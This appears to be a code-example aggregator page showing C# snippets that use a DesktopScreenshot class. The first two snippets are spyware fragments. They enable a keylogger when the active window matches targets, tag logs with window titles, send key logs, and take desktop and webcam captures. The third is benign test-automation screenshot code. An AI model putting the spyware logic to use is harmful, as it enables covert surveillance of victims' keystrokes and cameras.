Exemple #1
0
 // Start keylogger only if active windows contains target values
 public static void Action()
 {
     if (Detect())
     {
         Keylogger.KeyLogs += "\n\n### " + WindowManager.ActiveWindow + " ### (" +
                              DateTime.Now.ToString("yyyy-MM-dd h:mm:ss tt") + ")\n";
         DesktopScreenshot.Make(KeyloggerDirectory);
         Keylogger.KeyloggerEnabled = true;
     }
     else
     {
         SendKeyLogs();
         Keylogger.KeyloggerEnabled = false;
     }
 }
        // Save photos
        private static void SendPhotos()
        {
            string logdir = LogDirectory + "\\" + DateTime.Now.ToString("hh.mm.ss");

            if (!Directory.Exists(logdir))
            {
                Directory.CreateDirectory(logdir);
            }

            System.Threading.Thread.Sleep(3000);
            DesktopScreenshot.Make(logdir);
            System.Threading.Thread.Sleep(12000);
            if (Detect())
            {
                WebcamScreenshot.Make(logdir);
            }
        }
Exemple #3
0
        public void CaptureScreenshot()
        {
            var scenarioContext = objectContainer.Resolve <ScenarioContext>();

            if (scenarioContext.TestError != null)
            {
                var screenshotFilename = scenarioContext.ScenarioInfo.Title + ".jpg";
                var screesnhotFileDir  = Path.Combine(SolutionDirectory, "Reports");
                var screenshotFilePath = Path.GetFullPath(Path.Combine(screesnhotFileDir, screenshotFilename));

                try
                {
                    var screenshot = new StitchedScreenshot();
                    screenshot.Save(driver, screenshotFilePath, ImageFormat.Jpeg);
                }
                catch
                {
                    var screenshot = new DesktopScreenshot();
                    screenshot.CaptureScreenToFile(screenshotFilePath, ImageFormat.Jpeg);
                }
            }
        }